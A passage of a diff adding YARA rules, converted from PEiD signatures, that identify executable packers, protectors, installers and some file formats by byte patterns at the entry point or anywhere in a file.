+        description = "[CopyMinder -> Microcosm.Ltd ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00400_CopyMinder____Microcosm_Ltd_
+{
+    meta:
+        description = "[CopyMinder -> Microcosm.Ltd]"
+        ep_only = "true"
+    strings:
+        $a = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00401_CorelDraw_8_CDR_Graphics_format_
+{
+    meta:
+        description = "[CorelDraw 8 CDR Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 52 38}
+    condition:
+        $a
+}
+
+rule PEiD_00402_CorelDraw_CMX_Graphics_format_
+{
+    meta:
+        description = "[CorelDraw CMX Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 4D 58 31}
+    condition:
+        $a
+}
+
+rule PEiD_00403_CPAV_
+{
+    meta:
+        description = "[CPAV]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00404_Cracked_by_AutoHack__1__
+{
+    meta:
+        description = "[Cracked by AutoHack (1)]"
+        ep_only = "true"
+    strings:
+        $a = {FA 50 51 57 56 1E 06 2E 80 3E ?? ?? ?? 74 ?? 8E 06 ?? ?? 2B FF FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00405_Cracked_by_Autohack__2__
+{
+    meta:
+        description = "[Cracked by Autohack (2)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F B4 09 BA ?? ?? CD 21 FA 8E 06 ?? ?? BE ?? ?? 8B 0E ?? ?? 83 F9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00406_CrackStop_v1_01__c__Stefan_Esser_1997_
+{
+    meta:
+        description = "[CrackStop v1.01 (c) Stefan Esser 1997]"
+        ep_only = "true"
+    strings:
+        $a = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00407_CreateInstall_2003_3_5_
+{
+    meta:
+        description = "[CreateInstall 2003.3.5]"
+        ep_only = "false"
+    strings:
+        $a = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+    condition:
+        $a
+}
+
+rule PEiD_00408_CreateInstall_Stub_vx_x_
+{
+    meta:
+        description = "[CreateInstall Stub vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00409_CreateInstall_Stub_vx_x_
+{
+    meta:
+        description = "[CreateInstall Stub vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 BF 00 30 00 00 FF 15 20 61 40 00 50 FF 15 2C 61 40 00 6A 04 57 68 00 FF 01 00 56 FF 15 CC 60 40 00 6A 04 A3 CC 35 40 00 57 68 00 0F 01 00 56 FF 15 CC 60 40 00 68 00 01 00 00 BE B0 3F 40 00 56 A3 C4 30 40 00 FF 75 08 FF 15 10 61 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00410_CreateInstall_v2003_3_5_
+{
+    meta:
+        description = "[CreateInstall v2003.3.5]"
+        ep_only = "false"
+    strings:
+        $a = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 00 50 FF 15 E0 80 40 00 8B 0D 00 50 40 00 E8 68 FF FF FF B9 40 0D 03 00 89 44 24 14 E8 5A FF FF FF 68 00 02 00 00 8B 2D D0 80 40 00 89 44 24 1C 8D 44 24 20 50 53 FF D5 8D 4C 24 1C 53 68 00 00 00 80 8B 3D CC 80 40 00 6A 03 53 6A 03 68 00 00 00 80 51 FF D7 8B F0 53 8D 44 24 14 8B 0D 00 50 40 00 8B 54 24 18 50 51 52 56 FF 15 C8 80 40 00 85 C0 0F 84 40 02 00 00 8B 15 00 50 40 00 3B 54 24 10 0F 85 30 02 00 00 6A FF A1 04 50 40 00 2B D0 8B 4C 24 18 03 C8 E8 9F FE FF FF 3B 05 10 50 40 00 0F 85 10 02 00 00 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00411_Creative_Audio_file_
+{
+    meta:
+        description = "[Creative Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {43 72 65 61 74 69 76 65 20 56 6F 69 63 65 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00412_Crinkler_V0_1_V0_2____Rune_L_H_Stubbe_and_Aske_Simon_Christensen_
+{
+    meta:
+        description = "[Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00413_Crinkler_V0_3_V0_4____Rune_L_H_Stubbe_and_Aske_Simon_Christensen_
+{
+    meta:
+        description = "[Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 42 00 31 DB 43 EB 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00414_Crunch_4____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 4 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00415_Crunch_4_0_
+{
+    meta:
+        description = "[Crunch 4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+    condition:
+        $a
+}
+
+rule PEiD_00416_Crunch_5____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 5 -> Bit-Arts]"
+        ep_only = "false"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+    condition:
+        $a
+}
+
+rule PEiD_00417_Crunch_5___Fusion_4____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 5 / Fusion 4 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00418_Crunch_5_Fusion_4_
+{
+    meta:
+        description = "[Crunch 5 Fusion 4]"
+        ep_only = "false"
+    strings:
+        $a = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00419_Crunch_v4_0_
+{
+    meta:
+        description = "[Crunch v4.0]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00420_Crunch_v5____Bit_Arts_
+{
+    meta:
+        description = "[Crunch v5 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 00 8B 56 3C 8D 8C 32 C8 00 00 00 83 39 00 74 50 8B D9 53 68 BB D4 C3 79 33 C0 50 E8 0E 04 00 00 50 8D 95 EC 07 00 00 52 6A 04 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 58 5B C7 03 00 00 00 00 C7 43 04 00 00 00 00 8D 95 F0 07 00 00 52 FF B5 EC 07 00 00 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 68 6C D9 B2 96 33 C0 50 E8 C1 03 00 00 89 85 ?? 46 00 00 68 EC 49 7B 79 33 C0 50 E8 AE 03 00 00 89 85 ?? 46 00 00 E8 04 06 00 00 E9 F3 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00421_Crunch_V5_0____Bitarts_
+{
+    meta:
+        description = "[Crunch V5.0 -> Bitarts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00422_Crunch_PE_4_0_
+{
+    meta:
+        description = "[Crunch/PE 4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+    condition:
+        $a
+}
+
+rule PEiD_00423_Crunch_PE_v1_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v1.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00424_Crunch_PE_v2_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v2.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00425_Crunch_PE_v3_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v3.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00426_Crunch_PE_v4_0_
+{
+    meta:
+        description = "[Crunch/PE v4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+    condition:
+        $a
+}
+
+rule PEiD_00427_Crunch_PE_
+{
+    meta:
+        description = "[Crunch/PE]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00428_Cruncher_v1_0_
+{
+    meta:
+        description = "[Cruncher v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00429_CrypKey____Kenonic_Controls__h__
+{
+    meta:
+        description = "[CrypKey -> Kenonic Controls (h)]"
+        ep_only = "true"
+    strings:
+        $a = {8B 1D ?? ?? 3E 00 83 FB 00 75 0A E8 3C 00 00 00 E8 ?? 0A 00 00 8B 44 24 08 50 E8 ?? 02 00 00 A1 ?? ?? 3E 00 83 F8 01 74 06 FF 25 14 ?? 3E 00 C3 C8 00 00 00 53 8B 5D 08 33 C0 8B 4D 0C 8B 13 33 D3 83 C3 04 03 C2 49 75 F4 5B C9 C3 56 68 ?? ?? 3E 00 E8 ?? 16 00 00 8B F0 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00430_CrypKey_v5___v6_
+{
+    meta:
+        description = "[CrypKey v5 - v6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00431_CrypKey_V5_6_X____Kenonic_Controls_Ltd__
+{
+    meta:
+        description = "[CrypKey V5.6.X -> Kenonic Controls Ltd.]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00432_CrypKey_V5_6_X_DLL____Kenonic_Controls_Ltd__
+{
+    meta:
+        description = "[CrypKey V5.6.X DLL -> Kenonic Controls Ltd.]"
+        ep_only = "true"
+    strings:
+        $a = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00433_CrypKey_V6_1X_DLL____CrypKey__Canada__Inc__
+{
+    meta:
+        description = "[CrypKey V6.1X DLL -> CrypKey (Canada) Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00434_CRYPT_Version_1_7__c__Dismember__COM__
+{
+    meta:
+        description = "[CRYPT Version 1.7 (c) Dismember (COM)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 17 9C 58 F6 C4 01 ?? ?? ?? ?? ?? B4 01 BE ?? ?? BF ?? ?? B9 ?? ?? 68 ?? ?? 68 ?? ?? 68 ?? ?? 57 F3 A4 C3 B0 02 E6 21 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00435_CRYPT_Version_1_7__c__Dismember__EXE__
+{
+    meta:
+        description = "[CRYPT Version 1.7 (c) Dismember (EXE)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00436_CryptCom_v1_1_
+{
+    meta:
+        description = "[CryptCom v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 57 BE ?? ?? ?? B9 ?? ?? F3 A4 C3 8B ?? ?? ?? 8B ?? ?? ?? BF ?? ?? 57 BE ?? ?? ?? AD 33 C2 AB E2 ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00437_Crypter_3_1____SLESH_
+{
+    meta:
+        description = "[Crypter 3.1 -> SLESH]"
+        ep_only = "true"
+    strings:
+        $a = {68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00438_Cryptic_2_0____Tughack_
+{
+    meta:
+        description = "[Cryptic 2.0 -> Tughack]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00439_Crypto_Lock_2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock 2.02 (Eng) -> Ryan Thian]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00440_Crypto_Lock_2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock 2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00441_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00442_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00443_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00444_CRYPToCRACk_s_PE_Protector_V0_9_2____Lukas_Fleischer___Sign_by_fly_
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector V0.9.2 -> Lukas Fleischer ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00445_CRYPToCRACk_s_PE_Protector_v0_9_3____Lucas_Fleischer__h__
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector v0.9.3 -> Lucas Fleischer (h)]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00 00 81 EB 00 01 00 00 75 BE 90 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 7A ?? ?? ?? 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 C1 00 46 61 74 61 6C 45 78 69 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00446_CRYPToCRACk_s_PE_Protector_V0_9_3____Lukas_Fleischer___Sign_by_fly_
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector V0.9.3 -> Lukas Fleischer ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00447_CrypWrap_vx_x_
+{
+    meta:
+        description = "[CrypWrap vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00448_Cygwin32_
+{
+    meta:
+        description = "[Cygwin32]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 04 83 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00449_D1NS1G____D1N_
+{
+    meta:
+        description = "[D1NS1G -> D1N]"
+        ep_only = "false"
+    strings:
